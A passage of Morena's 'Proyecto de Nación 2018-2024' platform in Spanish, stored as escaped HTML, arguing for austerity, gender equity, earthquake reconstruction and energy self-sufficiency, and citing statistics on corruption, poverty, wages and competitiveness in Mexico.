y la insensibilidad en las altas esferas gubernamentales. Hoy en d\u00eda las erogaciones innecesarias y ofensivas \u2013que empiezan por las desmesuradas percepciones y prestaciones de los funcionarios p\u00fablicos\u2013 consumen recursos ingentes que podr\u00e1n ser liberados para el fomento de proyectos productivos y programas sociales.<\/p>\n<p>En este sentido, para llevar a cabo muchos de los proyectos y programas aqu\u00ed enunciados se deber\u00e1 buscar la reorientaci\u00f3n de presupuestos p\u00fablicos que actualmente se asignan y ejercen de manera opaca, sin evaluaci\u00f3n ni rendici\u00f3n de cuentas; asimismo, parte de los recursos fiscales que se espera liberar en un plazo de cuatro a\u00f1os (equivalentes a 4.1% del PIB), ser\u00e1n reasignados a financiar proyectos de infraestructura con impacto regional y a financiar los programas sociales prioritarios, como los de rescate a los j\u00f3venes y la pensi\u00f3n universal para adultos mayores.<\/p>\n<p>Se aplicar\u00e1 la regla de buscar los recursos para despu\u00e9s destinarlos a los proyectos que se determinen como prioritarios. Para la selecci\u00f3n de estos se tomar\u00e1n como base los comentarios y aportaciones que hagan la ciudadan\u00eda en general y los militantes y simpatizantes de Morena, mismas que ser\u00e1n recabados a lo largo y ancho del pa\u00eds.<\/p>\n<p>\t\t\t\t\t\t\t\t\t\t\t\tEquidad de g\u00e9nero\t\t\t\t\t<\/p>\n<p>Se ha buscado que este Proyecto de Naci\u00f3n considere en todas sus partes el principio de la equidad de g\u00e9nero. La patria con justicia y democracia a la que aspiramos debe respetar, promover y garantizar los derechos de las mujeres con pol\u00edticas p\u00fablicas incluyentes que aseguren la equidad efectiva entre mujeres y hombres y que atiendan las intolerables expresiones de violencia, abuso y acoso a las que est\u00e1n expuestas las primeras en todos los entornos sociales, en todas las regiones del territorio nacional, a todas horas del d\u00eda. Aunque la seguridad de las mujeres y su igualdad con respecto a los hombres se encuentren enunciadas en la ley, es un hecho que enfrentan mayores grados de violencia y discriminaci\u00f3n y que sus derechos son regularmente denegados en la pr\u00e1ctica. Por ello, un proyecto incluyente como el nuestro se propone eliminar las brechas de desigualdad entre mujeres y hombres y eliminar los obst\u00e1culos que enfrentan las primeras en todos los \u00e1mbitos para avanzar en su autonom\u00eda f\u00edsica, econ\u00f3mica y pol\u00edtica y para asegurar su integridad f\u00edsica y emocional. \u00a0<\/p>\n<p>En M\u00e9xico el concepto de desarrollo sostenible pasa obligadamente por el respeto a los pueblos ind\u00edgenas y por el pleno reconocimiento de sus usos y costumbres, su autonom\u00eda, sus territorios y los recursos naturales en ellos ubicados. Los modos de organizaci\u00f3n social de los pueblos originarios poseen una fundamentaci\u00f3n \u00e9tica, una eficiencia y una solidez tales que pueden ser vistos no como un problema ni como expresi\u00f3n de \u201crezago\u201d, sino como un ejemplo para los mestizos y ladinos que padecen la crisis civilizatoria y existencial contempor\u00e1nea. El \u201cnunca m\u00e1s un M\u00e9xico sin nosotros\u201d enarbolado por las comunidades ind\u00edgenas\u00a0 es m\u00e1s que una reivindicaci\u00f3n justa. Es, tambi\u00e9n, una propuesta generosa al resto de la sociedad, urgida de modelos arm\u00f3nicos y equilibrados de desarrollo social y colectivo, como la vida buena que ha sido puesta en pr\u00e1ctica por muchos pueblos ind\u00edgenas del campo y las ciudades mexicanas.<\/p>\n<p>La perspectiva del desarrollo sostenible es, en consecuencia, un componente obligado para todas las propuestas contenidas en este Proyecto de Naci\u00f3n, desde las educativas hasta las de pol\u00edtica exterior, pasando, desde luego, por las de pol\u00edtica industrial, energ\u00e9tica, agraria y social. Durante muchos a\u00f1os, el pa\u00eds ha sido dirigido con la l\u00f3gica equivocada de que se puede \u201cdejar atr\u00e1s\u201d a la mayor\u00eda de la poblaci\u00f3n mientras un peque\u00f1o grupo acumula riquezas y ha propalado la expectativa de que alg\u00fan d\u00eda tales riquezas empezar\u00edan a derramarse desde la c\u00faspide hacia la base de la pir\u00e1mide social. Hoy, a la vista de los abismos de inequidad generados por esa idea falsa, la consigna \u201cNo dejar a nadie atr\u00e1s\u201d tiene que dejar de ser un mero formulismo adoptado por conveniencia diplom\u00e1tica y aplicarse como una l\u00ednea rectora en todos los planes y acciones del gobierno al que M\u00e9xico aspira y que se merece.<\/p>\n<p>El principio de la rentabilidad sin contrapesos ni regulaciones ha provocado desastres sociales y ambientales agudizados por la corrupci\u00f3n. En este punto, como en los otros referidos, el respeto al marco legal vigente deber\u00eda bastar para impedir la gestaci\u00f3n de tales desastres. Con esa orientaci\u00f3n, las propuestas, acciones y medidas del Proyecto de\u00a0 Naci\u00f3n se enmarcan en el paradigma del desarrollo sostenible.<\/p>\n<p>\t\t\t\t\t\t\t\t\t\t\t\tReconstrucci\u00f3n nacional\t\t\t\t\t<\/p>\n<p>Los sismos del 7 y 19 de septiembre de 2017 dejaron una estela de muerte y destrucci\u00f3n en Chiapas, Oaxaca, Morelos, Estado de M\u00e9xico, Tabasco, Guerrero, la Ciudad de M\u00e9xico y, en menor medida, Michoac\u00e1n, Hidalgo y Tlaxcala. La devastaci\u00f3n humana y material es enorme: cerca de quinientos muertos, m\u00e1s de ocho mil heridos y unas 12 millones de personas afectadas en m\u00e1s de 400 municipios del pa\u00eds, de las cuales 250 mil se quedaron sin casa, seg\u00fan datos presentados por el gobierno federal. Hay 180 mil 731 viviendas con da\u00f1os en ocho estados, 28 por ciento de ellas con da\u00f1o total, miles de escuelas derrumbadas o con afectaciones irreparables, as\u00ed como p\u00e9rdida total o parcial de numerosas construcciones hist\u00f3ricas, edificios p\u00fablicos y locales privados.<\/p>\n<p>La tragedia despert\u00f3 la respuesta solidaria de miles de personas que acudieron a los lugares afectados para rescatar vidas, aportar enseres y v\u00edveres a los damnificados y apoyar en la reconstrucci\u00f3n de sus casas. Ante la emergencia, la gente rebas\u00f3 a gobiernos y a instituciones. La tierra tembl\u00f3 y sacudi\u00f3 conciencias y conmovi\u00f3 los corazones de millones de mexicanos. Pero tambi\u00e9n cimbr\u00f3 al sistema pol\u00edtico. Ha sido inocultable la indignaci\u00f3n ciudadana frente a la corrupci\u00f3n previa que magnific\u00f3 los efectos del terremoto y ante los intentos por desviar la ayuda y manipular las necesidades de los damnificados.<\/p>\n<p>Los afectados por los sismos de septiembre se sumaron a los millones de mexicanos que han sido sumidos en la pobreza y el desamparo por el prolongado terremoto econ\u00f3mico impuesto en el pa\u00eds desde hace d\u00e9cadas. El m\u00e1s reciente desastre dej\u00f3 a miles y miles en la intemperie, en el desempleo, en el luto y la p\u00e9rdida irreparable. Su emergencia a\u00fan no ha terminado y la reconstrucci\u00f3n completa llevar\u00e1 a\u00f1os. Levantar de nuevo hogares y pueblos enteros requerir\u00e1 del apoyo y la participaci\u00f3n de todos los mexicanos, ciudadanos y autoridades.<\/p>\n<p>Tenemos un plan integral de reconstrucci\u00f3n de las zonas devastadas, que los legisladores de Morena presentaron en la C\u00e1mara de Diputados. Consideramos\u00a0 que la reconstrucci\u00f3n tendr\u00e1 un costo de 302 mil millones de pesos para atender las necesidades de la poblaci\u00f3n. En nuestra propuesta, esos recursos se obtendr\u00e1n a\u00a0 partir de un plan de austeridad y de una redistribuci\u00f3n del gasto que tambi\u00e9n se propuso. Sin embargo, el gobierno de Pe\u00f1a Nieto y sus partidos aliados no aceptaron la iniciativa y destinaron m\u00e1s del doble de dinero a pagar la deuda del rescate de los bancos (38 mil millones de pesos) que al apoyo a los damnificados (18 mil millones de pesos).<\/p>\n<p>El plan de reconstrucci\u00f3n debe hacerse con los propios damnificados, quienes adem\u00e1s deben vigilar la aplicaci\u00f3n de presupuestos, supervisar las ayudas y el cumplimiento de las obras. En la extraordinaria respuesta de los mexicanos frente a la emergencia encontramos el camino de c\u00f3mo reconstruir, entre todos, a nuestro pa\u00eds devastado por la corrupci\u00f3n, la pobreza, la desigualdad, la antidemocracia, la violaci\u00f3n de los derechos humanos, el despojo de los pueblos y la destrucci\u00f3n del medio ambiente.\u00a0<\/p>\n<p>Este Proyecto de Naci\u00f3n busca impulsar el despertar de conciencias y mantener esa conmovedora movilizaci\u00f3n social producida por los sismos, , tanto para subsanar los efectos de los terremotos de septiembre como para hacer posible la reconstrucci\u00f3n democr\u00e1tica de M\u00e9xico, una tarea que debemos llevar a cabo entre todos.<\/p>\n<p>\t\t\t\t\t\t\t\t\t\t\t\t\u00bfC\u00f3mo est\u00e1 M\u00e9xico hoy?\t\t\t\t\t<\/p>\n<p>En el M\u00e9xico de nuestros d\u00edas hay dos percepciones encontradas: la que se expresa en anuncios televisivos previos al informe, mandados hacer y propalados por la Presidencia de la Rep\u00fablica, y la que proviene de la poblaci\u00f3n mayoritaria. La primera es la de quienes piensan que el pa\u00eds marcha bien y se oponen, en consecuencia, a la posibilidad de un cambio de rumbo. Esta visi\u00f3n es difundida y defendida por algunos empresarios y analistas. Sin embargo, la realidad contrasta con esa\u00a0 percepci\u00f3n id\u00edlica, y nos muestra una naci\u00f3n muy distinta, la naci\u00f3n agraviada, violentada, depauperada y oprimida por los optimistas de las c\u00fapulas.\u00a0<\/p>\n<p>\u00bfCu\u00e1l es la verdadera situaci\u00f3n mexicana? Para responder esta pregunta es pertinente hacer un somero resumen de algunos temas principales basado en estudios fiables que aparecen citados aqu\u00ed. Los n\u00fameros hablan por \u00a0s\u00ed mismos.<\/p>\n<p>\t\t\t\t\t\t\t\t\t\t\t\tCorrupci\u00f3n\t\t\t\t\t<\/p>\n<p>Uno de los mayores flagelos de la sociedad mexicana es, sin duda, la corrupci\u00f3n, que tiene varias vertientes.<\/p>\n<p>La primera de ellas es la corrupci\u00f3n materializada en el robo directo a las arcas p\u00fablicas o en los sobornos para favorecer a determinados agentes econ\u00f3micos en la asignaci\u00f3n de obra p\u00fablica y en las licitaciones de compras p\u00fablicas.<\/p>\n<p>En los \u00faltimos 5 a\u00f1os han crecido de manera alarmante los casos de corrupci\u00f3n que llegan al conocimiento p\u00fablico. La sociedad ve con enojo y frustraci\u00f3n c\u00f3mo gobernadores y funcionarios de los partidos pol\u00edticos tradicionales han hecho de la corrupci\u00f3n una pr\u00e1ctica normal, mediante el robo directo de miles de millones de pesos; en su mayor\u00eda gozan de impunidad y de la protecci\u00f3n\u00a0 gubernamental. Algo semejante sucede en las compras gubernamentales debido al dise\u00f1o ama\u00f1ado de las licitaciones que propicia la colusi\u00f3n de los participantes en perjuicio del erario p\u00fablico.<\/p>\n<p>Otra vertiente de la corrupci\u00f3n deriva de la sobrerregulaci\u00f3n de las actividades m\u00e1s simples, fomentada por las autoridades de todos los niveles de gobierno; ello induce a muchos ciudadanos a recurrir al soborno para agilizar sus tr\u00e1mites. M\u00e1s de la mitad de los mexicanos admite que en el \u00faltimo a\u00f1o para acceder a servicios p\u00fablicos b\u00e1sicos ha sobornado a autoridades de acuerdo con el Bar\u00f3metro Global de la Corrupci\u00f3n.<\/p>\n<p>Seg\u00fan este estudio, M\u00e9xico tiene el mayor porcentaje en Am\u00e9rica Latina de personas que afirman\u00a0 haber pagado un soborno para acceder a servicios p\u00fablicos b\u00e1sicos en los 12 \u00faltimos meses (51 por ciento). De acuerdo con cifras de Transparencia Mexicana, el 14% del ingreso promedio anual de los hogares se destina a pagos extraoficiales.\u00a0<\/p>\n<p>La corrupci\u00f3n tiene un costo muy grande para la sociedad y la econom\u00eda. El World Economic Forum\u00a0 lo estima en un 2 por ciento como porcentaje del PIB; el\u00a0 Banco de M\u00e9xico, el Banco Mundial y Forbes en 9, y el centro de estudios Econ\u00f3micos del Sector Privado en 10 por ciento.<\/p>\n<p>El Reporte de Competitividad del Foro Econ\u00f3mico Mundial se\u00f1ala a la corrupci\u00f3n como el principal inhibidor de la inversi\u00f3n en M\u00e9xico. Este documento ubica a M\u00e9xico en el lugar 127 entre 137 pa\u00edses en el desv\u00edo de fondos p\u00fablicos; en el 105 por pagos irregulares; en el 127 por lo que respecta a la confianza del p\u00fablico hacia sus pol\u00edticos, y en el 129 por favoritismo en la toma de decisiones de los funcionarios p\u00fablicos.<\/p>\n<p>Con base en datos duros y en comparativos internacionales, no hay cosas buenas que contar en cuanto a corrupci\u00f3n.<\/p>\n<p>\t\t\t\t\t\t\t\t\t\t\t\tCrecimiento econ\u00f3mico\t\t\t\t\t<\/p>\n<p>Diversos analistas comentan que el tama\u00f1o de la econom\u00eda mexicana ha crecido 78 por ciento\u00a0\u00a0 entre\u00a0 1993 (a\u00f1o anterior a la entrada del TLC) y\u00a0 2016. No obstante, en esos 23 a\u00f1os el promedio anual de crecimiento de la econom\u00eda ha sido de 2.6 por ciento, una proporci\u00f3n a todas luces insuficiente dado el crecimiento demogr\u00e1fico y habida cuenta de la capacidad nacional en t\u00e9rminos de recursos naturales, infraestructura, habilidades y conocimiento de su poblaci\u00f3n. \u00a0<\/p>\n<p>En este lapso, pa\u00edses\u00a0 con niveles similares de desarrollo al de M\u00e9xico han experimentado tasas de crecimiento sustancialmente superiores: China 10.6 por ciento; Bosnia 9.2; Iraq, a pesar de sus problemas geopol\u00edticos, 8.2; India, Vietnam y Corea del Sur, 7.7,\u00a0 7.6 y 5.5,\u00a0 respectivamente. En el continente americano pa\u00edses como Per\u00fa, Costa Rica, Bolivia y Cuba han registrado crecimiento promedio de 5.6,\u00a0 4.7,\u00a0 4.6 y 4.6. En t\u00e9rminos de crecimiento promedio anual, M\u00e9xico se situ\u00f3 en el lugar 134 de 200 pa\u00edses en el periodo de referencia.<\/p>\n<p>En t\u00e9rminos de PIB per c\u00e1pita, el crecimiento promedio anual de M\u00e9xico, de 1994 a la fecha, ha sido de 0.4%. Comparado con el resto de las econom\u00edas del mundo, la nuestra pas\u00f3 del lugar 63 de 200 pa\u00edses en 1993, al lugar 84 en 2015. Entre los pa\u00edses cuyo PIB per c\u00e1pita ha crecido m\u00e1s que el de M\u00e9xico se puede mencionar a Iraq (7.3 por ciento), China (3.1), Vietnam (6.4), Per\u00fa (4.5), Costa Rica (4.1), Cuba (3.9) y Guatemala (3.5).<\/p>\n<p>En conclusi\u00f3n, la informaci\u00f3n estad\u00edstica y los datos duros muestran que, en t\u00e9rminos de crecimiento econ\u00f3mico y evoluci\u00f3n del PIB per c\u00e1pita, en M\u00e9xico no hay nada bueno que contar.<\/p>\n<p>\t\t\t\t\t\t\t\t\t\t\t\tPobreza\t\t\t\t\t<\/p>\n<p>Para\u00a0 2016, el Consejo Nacional de Evaluaci\u00f3n de la Pol\u00edtica de Desarrollo Social (CONEVAL) report\u00f3\u00a0 que en M\u00e9xico, 53.4 millones de personas se encuentran en situaci\u00f3n de pobreza, es decir, 600 mil personas m\u00e1s que en 2010. Aunque se observa un avance en la reducci\u00f3n de la pobreza extrema (3.5 millones de personas menos que en 2010), a\u00fan existen 9.4 millones de mexicanos en esta condici\u00f3n. Por otra parte, 21.3 millones se encuentran en rezago educativo; 19.1 millones no tienen acceso a servicios de salud, y 68.4 millones carecen de acceso a la seguridad social.<\/p>\n<p>En lo que se refiere a servicios de vivienda, 14.8 millones de la poblaci\u00f3n habita en casas con espacios reducidos y construidas con materiales endebles y de mala calidad, mientras que 23.7 millones de personas no cuentan con los servicios b\u00e1sicos de la vivienda. En lo que corresponde a la alimentaci\u00f3n, 24.6 millones carecen de acceso a alimentaci\u00f3n.<\/p>\n<p>En t\u00e9rminos de ingreso, 62 millones tienen ingresos inferiores a la l\u00ednea de bienestar, mientras que 21.4 millones tienen ingresos inferiores a la l\u00ednea de bienestar m\u00ednimo.<\/p>\n<p>El Gobierno Federal ha destinado 102 mil 140 millones de pesos a precios del 2017 al combate a la pobreza en los \u00faltimos 20 a\u00f1os, y los n\u00fameros que reporta el CONEVAL nos indican que esos recursos han servido para mantener los n\u00fameros de pobreza sin avances significativos, lo que obliga a replantear un cambio de paradigma en el uso de estos recursos.<\/p>\n<p>Con base en informaci\u00f3n estad\u00edstica y datos duros, en M\u00e9xico no hay nada bueno que contar con respecto al combate a la pobreza.<\/p>\n<p>\t\t\t\t\t\t\t\t\t\t\t\tAutosuficiencia alimentaria\t\t\t\t\t<\/p>\n<p>El campo mexicano ha sido v\u00edctima de un descuido muy marcado por parte del gobierno, lo que se ha traducido en una grave p\u00e9rdida de la autosuficiencia alimentaria.\u00a0\u00a0\u00a0<\/p>\n<p>Para ilustrar los retos de la seguridad alimentaria en M\u00e9xico, de acuerdo a datos publicados en el Quinto Informe de Enrique Pe\u00f1a Nieto, el 98.2 por ciento del arroz consumido en 2017 es importado; el 55.4 por ciento del consumo de ma\u00edz proviene del exterior, as\u00ed como el 43 por ciento del trigo. La producci\u00f3n de 52 de los principales productos agr\u00edcolas que representan 90 por ciento de la producci\u00f3n de ese sector, se ha reducido de 162 millones de toneladas, en 2004, a 133.7 millones de toneladas en 2017.\u00a0<\/p>\n<p>En el Global Food Security Index\u00a0 de seguridad alimentaria de 2017 se ubica a M\u00e9xico en el lugar 43 de 113 pa\u00edses. \u00a0<\/p>\n<p>Si bien se ha logrado obtener una balanza comercial agropecuaria positiva en 2016 y en lo que va de 2017 (cinco mil 963.2 millones de d\u00f3lares acumulado a junio de 2017), por razones de seguridad nacional es imperativo reducir la dependencia que M\u00e9xico tiene en relaci\u00f3n con los principales productos agr\u00edcolas que consume su poblaci\u00f3n,\u00a0 mediante el incremento de la productividad en las distintas regiones del pa\u00eds.<\/p>\n<p>En t\u00e9rminos de autosuficiencia alimentaria, en M\u00e9xico no hay nada bueno que contar.<\/p>\n<p>\t\t\t\t\t\t\t\t\t\t\t\tAutosuficiencia energ\u00e9tica\t\t\t\t\t<\/p>\n<p>En los \u00faltimos a\u00f1os ha habido un gran debate nacional sobre la conveniencia de producir la gasolina en M\u00e9xico o de importarla. La decisi\u00f3n estrat\u00e9gica por parte de Petr\u00f3leos Mexicanos ha sido privilegiar la importaci\u00f3n del combustible.<\/p>\n<p>Al mismo tiempo, Pemex redujo considerablemente la producci\u00f3n de gasolinas, a tal grado que, al mes de septiembre de 2017, nuestras refiner\u00edas han producido \u00fanicamente el 35.6 por ciento del consumo nacional. Es importante resaltar que al mes de septiembre se alcanz\u00f3 un m\u00ednimo hist\u00f3rico de 190 mil 800 barriles diarios. A la vez, las importaciones de gasolina totalizaron en 2016,\u00a0 11 mil 283 millones de d\u00f3lares, ubic\u00e1ndose como el principal producto de nuestras importaciones. \u00a0<\/p>\n<p>En un entorno global de reglas comerciales claras como el que exist\u00eda antes del cambio en la presidencia de los Estados Unidos, habr\u00eda podido ser econ\u00f3micamente razonable privilegiar la importaci\u00f3n de gasolina. Sin embargo, despu\u00e9s de enero de 2017, desde el punto de vista geopol\u00edtico, ha sido evidente que esa ventaja en t\u00e9rminos de eficiencia econ\u00f3mica no compensa el depender de un solo proveedor de energ\u00eda, lo cual significa una desventaja y una debilidad en otros temas de la relaci\u00f3n econ\u00f3mica bilateral.\u00a0<\/p>\n<p>La Auditor\u00eda Superior de la Federaci\u00f3n (ASF)\u00a0 en la auditor\u00eda de desempe\u00f1o n\u00famero 16-6-90TM9M-07-0482 y en la recomendaci\u00f3n n\u00famero 16-6-90T9M-07-0482-07, determin\u00f3 que era m\u00e1s conveniente refinar gasolina en M\u00e9xico que importarla porque los costos de producir la Magna y Premium, as\u00ed como di\u00e9sel, fueron inferiores en 61.1, 56.2, y 61.5 por ciento, respectivamente, con relaci\u00f3n a los costos de importaci\u00f3n. Esto se ha debido al incremento en el precio promedio anual del d\u00f3lar estadounidense que alcanz\u00f3 a cotizarse en 18.66 pesos, as\u00ed como a la ca\u00edda en el costo promedio del barril de crudo que lleg\u00f3 a 35.63 d\u00f3lares. Bajo este escenario es m\u00e1s barato producir gasolina que importarla.<\/p>\n<p>Es por ello que para el Proyecto de Naci\u00f3n 2018-2024 es primordial recuperar la autosuficiencia energ\u00e9tica, como un principio de seguridad nacional, volviendo operables las refiner\u00edas de PEMEX y, en su caso, evaluar la construcci\u00f3n de refiner\u00edas con capacidad de 300 mil barriles diarios o la instalaci\u00f3n de biorrefiner\u00edas para la producci\u00f3n de biodiesel.<\/p>\n<p>En t\u00e9rminos de autosuficiencia energ\u00e9tica, en M\u00e9xico no hay nada bueno que contar.<\/p>\n<p>\t\t\t\t\t\t\t\t\t\t\t\tMercado laboral mal remunerado\t\t\t\t\t<\/p>\n<p>La actual administraci\u00f3n ha presumido como uno de sus grandes logros el crecimiento en los empleos que registra el Instituto Mexicano del Seguro Social (IMSS) y que suma 2.7 millones de trabajadores incorporados al mercado laboral.<\/p>\n<p>Lo anterior es una verdad a medias. Debe considerarse en primer lugar que los asegurados del IMSS representan solo el 37 por ciento de la poblaci\u00f3n ocupada del pa\u00eds, y el incremento en el n\u00famero de asegurados se debe m\u00e1s a una formalizaci\u00f3n del trabajo que a la creaci\u00f3n de nuevos empleos.<\/p>\n<p>Por otra parte, en el periodo 2012-2017 se han incrementado los empleos de baja calidad con bajos sueldos. Los empleos de los que ganan hasta un salario m\u00ednimo se incrementaron en 1 mill\u00f3n; los que ganan de uno a dos salarios m\u00ednimos se incrementaron en 2.3 millones; los que ganan de dos a tres salarios m\u00ednimos se incrementaron en 126 mil, y los que ganan de tres a cuatro salarios m\u00ednimos se redujeron en 794 mil empleados. En tanto los que ganan m\u00e1s de cinco salarios m\u00ednimos se redujeron en 686 mil.<\/p>\n<p>Resulta desolador que en un pa\u00eds con una fuerza laboral de 52.2 millones de trabajadores, \u00fanicamente 567 mil (uno por ciento) ganen m\u00e1s de 10 salarios m\u00ednimos al mes (m\u00e1s de 24 mil pesos mensuales), mientras que el 81.5 por ciento obtiene\u00a0 menos de 5 salarios m\u00ednimos (menos de 12 mil pesos al mes).<\/p>\n<p>Lo anterior ha provocado que las remuneraciones en t\u00e9rminos reales se encuentren estancadas desde 2005, lo que explica que las remuneraciones de los asalariados hayan perdido 3.2 por ciento de su participaci\u00f3n en el PIB. La ca\u00edda en las remuneraciones de los trabajadores se ve reflejada en el hecho de que el consumo privado haya reducido su participaci\u00f3n en el PIB de 63 por ciento en 1993 a 59 por ciento en 2016.<\/p>\n<p>Los gobierno neoliberales optaron por un modelo de competitividad internacional basada en salarios bajos para compensar los costos de insumos (energ\u00eda, telecomunicaciones, insumos intermedios) y de log\u00edstica e infraestructura (carreteras, puertos, aeropuertos), as\u00ed como otros costos relacionados\u00a0 con trabas regulatorias, seguridad y por la falta de un estado de derecho. Los elevados costos de los insumos e infraestructura que enfrenta el aparato productivo del pa\u00eds son ofrecidos por empresas que tienen una estructura de mercado oligop\u00f3lica, ejercen poder de mercado y tienen la capacidad de fijar precios por encima de situaciones de mercado.<\/p>\n<p>Se puede argumentar que la raz\u00f3n de los \u00ednfimos niveles salariales reside en la baja calidad del capital humano en t\u00e9rminos\u00a0 de educaci\u00f3n, capacitaci\u00f3n y productividad. Sin embargo, esto no justifica la ampliaci\u00f3n de las brechas salariales entre M\u00e9xico, Canad\u00e1 y Estados Unidos que se ha incrementado en el marco del Tratado de Libre Comercio. De 2007 a la fecha, el \u00edndice de remuneraciones manufactureras creci\u00f3 19.5 por ciento en Canad\u00e1, 18.7 en Estados Unidos y \u00fanicamente 3.3 en M\u00e9xico. Es significativo, por otra parte, que en las renegociaciones del TLCAN los gobiernos de Canad\u00e1 y Estados Unidos est\u00e9n m\u00e1s preocupados que las autoridades mexicanas por elevar los salarios de nuestros trabajadores.<\/p>\n<p>Por \u00faltimo, los niveles salariales y las condiciones laborales en M\u00e9xico se comparan desfavorablemente incluso con otras naciones latinoamericanas. De acuerdo con el \u00edndice de mejores trabajos publicado por el Banco Interamericano de Desarrollo, M\u00e9xico ocupa el lugar 13 de 17 en Latinoam\u00e9rica y, en t\u00e9rminos de salario suficiente, ostenta el sitio 15 de 17, superando \u00fanicamente a Nicaragua, Guatemala y Honduras.<\/p>\n<p>En t\u00e9rminos salariales, en M\u00e9xico no hay nada bueno que contar.<\/p>\n<p>\t\t\t\t\t\t\t\t\t\t\t\t\u00bfInflaci\u00f3n bajo control?\t\t\t\t\t<\/p>\n<p>Si bien a ra\u00edz de la autonom\u00eda otorgada al Banco de M\u00e9xico, la inflaci\u00f3n ha tendido a converger con la meta de inflaci\u00f3n de mediano plazo de tres por ciento, la volatilidad y depreciaci\u00f3n del tipo de cambio durante 2017 se han traspasado a los precios, lo cual, sumado a los ajustes en los precios de la gasolina a principios del a\u00f1o, ha provocado que la inflaci\u00f3n anual al mes de septiembre se ubique en 6.37. Debe destacarse que aunque la inflaci\u00f3n anual ha estado cerca de la meta de mediano plazo, los precios de los bienes y servicios que m\u00e1s afectan a la gente, como es el caso de los alimentos, energ\u00eda y transporte, se han incrementado significativamente, lo que provoca que cuando se deflacta el ingreso laboral per c\u00e1pita elaborado por CONEVAL por la canasta alimentaria, la ca\u00edda en este indicador con relaci\u00f3n al punto m\u00e1s alto que alcanz\u00f3 en el tercer trimestre del 2006 fue de 26.3 por ciento en t\u00e9rminos reales. En contraste el \u00cdndice Nacional de Precios al Consumidor (INPC) reporta una ca\u00edda de 12 por ciento en el mismo periodo.<\/p>\n<p>Lo anterior se explica por el hecho que muchos bienes y servicios que consumen lo mexicanos de menores ingresos se han incrementado m\u00e1s que proporcionalmente al INPC.<\/p>\n<p>Por citar algunos ejemplos:<\/p>\n<p>Tabla 1<\/p>\n<p>Precios al consumidor<\/p>\n<table width=\"270\">\n<tbody>\n<tr>\n<td width=\"135\">\n<p><strong>Bien o Servicio<\/strong><\/p>\n<\/td>\n<td width=\"135\">\n<p><strong>Incremento % octubre 2017\/diciembre 2012<\/strong><\/p>\n<\/td>\n<\/tr>\n<tr>\n<td width=\"135\">\n<p><strong>INPC<\/strong><\/p>\n<\/td>\n<td width=\"135\">\n<p><strong>20.02%<\/strong><\/p>\n<\/td>\n<\/tr>\n<tr>\n<td width=\"135\">\n<p><strong>Gasolina Magna<\/strong><\/p>\n<\/td>\n<td width=\"135\">\n<p><strong>47.5%<\/strong><\/p>\n<\/td>\n<\/tr>\n<tr>\n<td width=\"135\">\n<p><strong>Carne de res<\/strong><\/p>\n<\/td>\n<td width=\"135\">\n<p><strong>46.82%<\/strong><\/p>\n<\/td>\n<\/tr>\n<tr>\n<td width=\"135\">\n<p><strong>Gas dom\u00e9stico<\/strong><\/p>\n<\/td>\n<td width=\"135\">\n<p><strong>46.6%<\/strong><\/p>\n<\/td>\n<\/tr>\n<tr>\n<td width=\"135\">\n<p><strong>Refrescos<\/strong><\/p>\n<\/td>\n<td width=\"135\">\n<p><strong>36.07%<\/strong><\/p>\n<\/td>\n<\/tr>\n<tr>\n<td width=\"135\">\n<p><strong>Transporte urbano<\/strong><\/p>\n<\/td>\n<td width=\"135\">\n<p><strong>29.7%<\/strong><\/p>\n<\/td>\n<\/tr>\n<tr>\n<td width=\"135\">\n<p><strong>Medicamentos<\/strong><\/p>\n<\/td>\n<td width=\"135\">\n<p><strong>29.7%<\/strong><\/p>\n<p><strong>\u00a0<\/strong><\/p>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p>Elaboraci\u00f3n propia con base en datos del INEGI.<\/p>\n<p>\t\t\t\t\t\t\t\t\t\t\t\tLugar de M\u00e9xico en t\u00e9rminos de competitividad internacional\t\t\t\t\t<\/p>\n<p>Para ubicar la posici\u00f3n real de M\u00e9xico se debe tener en cuenta la situaci\u00f3n de nuestro pa\u00eds, rubros que explican el estancamiento de nuestra econom\u00eda, corrupci\u00f3n, desv\u00edo de recursos p\u00fablicos, ausencia de un verdadero estado de derecho e inseguridad, adem\u00e1s del deplorable deterioro del sistema educativo.<\/p>\n<p>En la Tabla 2 se resumen algunos indicadores publicados por el World Economic Forum en su reporte de Competitividad, publicado en 2017. Llama la atenci\u00f3n que un indicador que debiera ser favorable a nuestro pa\u00eds es la cobertura de telefon\u00eda m\u00f3vil, donde ocupamos el lugar 108 de 137 pa\u00edses. \u00a0<\/p>\n<p>De acuerdo con el citado reporte, el 69 por ciento de las respuestas de los entrevistados coinciden en que los factores m\u00e1s problem\u00e1ticos para hacer negocios en M\u00e9xico son:<\/p>\n<p>-Corrupci\u00f3n<\/p>\n<p>-Crimen y robos<\/p>\n<p>-Ineficacia burocr\u00e1tica de los gobiernos federal, estatal y municipal<\/p>\n<p>-Elevadas tasas impositivas<\/p>\n<p>-Regulaciones fiscales excesivas<\/p>\n<p>-Falta de acceso a financiamiento.<\/p>\n<p><strong>Tabla 2<\/strong><\/p>\n<p><strong>M\u00e9xico en el Mundo<\/strong><\/p>\n<p><strong>Reporte de Competitividad del Foro Econ\u00f3mico Mundial<\/strong><\/p>\n<table width=\"257\">\n<tbody>\n<tr>\n<td width=\"160\">\n<p><strong>Concepto<\/strong><\/p>\n<\/td>\n<td width=\"97\">\n<p><strong>Lugar entre 137 pa\u00edses.<\/strong><\/p>\n<\/td>\n<\/tr>\n<tr>\n<td width=\"160\">\n<p><strong>Desv\u00edo de fondos p\u00fablicos<\/strong><\/p>\n<\/td>\n<td width=\"97\">\n<p>127\/137<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td width=\"160\">\n<p><strong>Pagos irregulares y sobornos<\/strong><\/p>\n<\/td>\n<td width=\"97\">\n<p>105\/137<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td width=\"160\">\n<p><strong>Confianza del p\u00fablico en los pol\u00edticos<\/strong><\/p>\n<\/td>\n<td width=\"97\">\n<p>127\/137<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td width=\"160\">\n<p><strong>Favoritismo en decisiones de funcionarios p\u00fablicos<\/strong><\/p>\n<\/td>\n<td width=\"97\">\n<p>129\/137<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td width=\"160\">\n<p><strong>Eficiencia en el gasto p\u00fablico<\/strong><\/p>\n<\/td>\n<td width=\"97\">\n<p>121\/137<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td width=\"160\">\n<p><strong>Carga de regulaciones gubernamentales<\/strong><\/p>\n<\/td>\n<td 